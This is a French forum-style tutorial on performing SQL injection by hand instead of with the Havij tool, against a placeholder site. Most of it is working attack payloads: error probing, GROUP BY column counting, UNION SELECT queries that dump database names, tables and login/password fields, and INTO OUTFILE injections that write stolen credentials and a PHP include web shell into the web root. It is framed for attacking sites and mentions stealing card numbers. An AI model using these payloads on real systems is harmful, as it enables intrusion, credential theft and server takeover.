Post Populaire



Beaucoup de personnes utilisent Havij, sans même savoir comment ce programme fonctionne, ou plutôt, sans savoir comment une injection SQL peut se faire. Même si l'utilisation d'un logiciel d'automatisation d'injection SQL se révèle très utile (plus rapide, pas de codage etc..) Je trouve que l'on a plus de fierté quand c'est fait à la main. On est jamais mieux servis que pas sois-même ! lol

# Chapitre I - Définition :

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.

Cette faille apparaît lorsqu'il est possible d'injecter (c'est à dire, d'insérer) du code SQL dans les requêtes SQL qui sont intégrés dans une page web. Les conséquences d'une faille SQL peuvent être multiples, vol des donnés utilisateurs (Email, date de naissance..), mais également, vol des comptes (utilisateurs ou admin) ou encore obtention des codes de Carte Bancaire si il s'agit d'un site de commerce en ligne.

# Chapitre II - Explications et manipulations en temps réel :

http://www.site-web....tegory.php?id=1

Ici on voit bien que la variable id est en format GET dans mon url, et ce, par l’intermédiaire de id=1.

Dans un premier temps on test l'url pour savoir si elle est faillible à l'injection SQL. Pour ce faire, on ajoute la quote suivante tout à la fin de l'url : '

Sois ici :

http://www.site-web.com/category.php?id=1'

Si rien ne se passe, considérez que ce n'est pas possible pour aujourd’hui.

Cependant, si vous obtenez une erreur de ce type... :

You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

... cela signifie que le site est potentiellement vulnérable. Vous pouvez considérer que l'on est en bonne voie et donc, nous allons continuer ! 

Maintenant nous allons faire afficher le nombre de colonnes contenues dans la table : pour cela on peu utiliser la syntaxe SQL GROUP BY en fin de requête, de cette manière et en fonction du résultat nous modifierons la requête :

(notez que pour faire cette nouvelle requête, on enlève la quote ajouté lors de la première étape)

http://www.site-web.com/category.php?id=1 GROUP BY 1-- pas d'erreur
http://www.site-web.com/category.php?id=1 GROUP BY 100-- erreur
http://www.site-web.com/category.php?id=1 GROUP BY 50-- erreur
http://www.site-web.com/category.php?id=1 GROUP BY 10-- pas d'erreur
http://www.site-web.com/category.php?id=1 GROUP BY 11-- erreur

Ici, nous pouvons en conclure que le nombre de colonnes est égal à 10, puisque nous obtenons une erreur à la 11ème requête "GROUP BY 11"

Grâce à cette info obtenue, nous allons pouvoir afficher le nom des colonnes, le nom des BDD (Bases De Données) qui sont présents sur le serveur, la version de la base SQL, les utilisateurs etc...

A) Utilisation de la syntaxe UNION :


UNION est implémentée en MySQL 4.0.0. L'objectif de la commande UNION de SQL est de pouvoir combiner l'ensemble les résultats de deux requêtes. On peut donc insérer n'importe quelle requête à la suite.

Les colonnes listées dans la partie select_expression du SELECT doivent être du même type (int, varchar...). Les noms de colonnes utilisés dans le premier SELECT seront utilises comme nom de champ pour les résultats retournés.

http://www.site-web.com/category.php?id=1 UNION 1,2,3,4,5,6,7,8,9,10--

Les chiffres 1,2,3,4,5,6,7,8,9,10 ne sont là que pour figuration j'aurais bien pu mettre 0,0,0,0,0,0 dix fois !!!! Le résultat devra être une page sans erreur, auquel cas la base ne supporte pas le statement UNION.

A ce stade on va ajouter un signe - devant le 1

Comme l'id -1 n'existe pas dans la base, les champs sélectionnés avec l'UNION seront retournés (1,2,3,4,5,6,7,8,9,10), à la place de ces derniers, l'attaquant peut sélectionner des données de n'importe quelle table.

Pour obtenir la version :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10--

Ou encore :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+1,concat(version()),3,4,5,6,7,8,9,10--


Pour la liste des bases:

http://www.site-web.com/category.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--

La base qui est utilisé actuellement :

http://www.site-web.com/category.php?id= -1+UNION+SELECT+concat(database()),2,3+%20from+information_schema.schemata--


Pour l'utilisateur:

http://www.site-web.com/category.php?id= -1+UNION+SELECT+user(),2,3+%20from+information_schema.schemata--


Pour la liste des tables de la bases :

http://www.site-web.com/category.php?id= -1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--


Pour la liste des champs de la table on dois convertir le nom de la table en hexadécimal (utilisez ça : http://www.string-fu...string-hex.aspx )

Le nom de ma table est test_table ce qui donne en hexa 746573745f7461626c65 sans oublier le 0x pour informer la base qu'il s'agit bien de l'hexadecimal.

http://www.site-web.com/category.php?id= 1 union select 1,column_name,3 from information_schema.columns where table_name=0x746573745f7461626c65 --

Maintenant qu'on connais le nom des champs, on peux deviner leur valeur : 

http://www.site-web.com/category.php?id= 1%20union%20select%201,concat(id,name,pass),3%20from%20testaa--


B ) La fonction OUTPUTFILE :

Grâce à cette fonction, on peut exporter la liste des résultats du select.

La fonction INTO OUTFILE écrira (par défaut) dans le dossier lib\mysql\nomdelatable le fichier contenant la sortie du select. 

(Attention à bien replacer le fichier dans le répertoire www, sans quoi vous ne pourrez le consulter) 


http://www.site-web.com/category.php?id= $sql="select login,pass from admin INTO OUTFILE 'path/file.txt' ";


Imaginons maintenant, un login contenant :

' OR 'X'='X' INTO OUTFILE'../../www/file.txt'#

Ce qui donne comme requête:

http://www.site-web.com/category.php?id= $sql="select login,pass from admin where login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt'#' and pass='$pass'";

On va aller à la racine du serveur pour rechercher notre fichier file.txt et on obtiendra les identifiants et logs de connexion.

http://www.site-web.com/category.php?id= login: ' UNION SELECT "<?php@include($ma_variable);?>","0" from admin INTO OUTFILE'../../www/file.text'/*

Le code php sera ainsi enregistré dans file.text, Vous pourrez le consulter et modifier $ma_variable par une valeur que vous souhaitez.

Le tuto s'arrete ici, mais avec tout ça, vous devriez comprendre un peux mieux ce qui se passe quand vous cliquez sur le bouton "Analyse" d'havij ... :rolleyes:



Source d'inspiration : http://adsltele.free...jection-sql.php 

- sebdelkil 2009-2015 - Aucun droit réservé -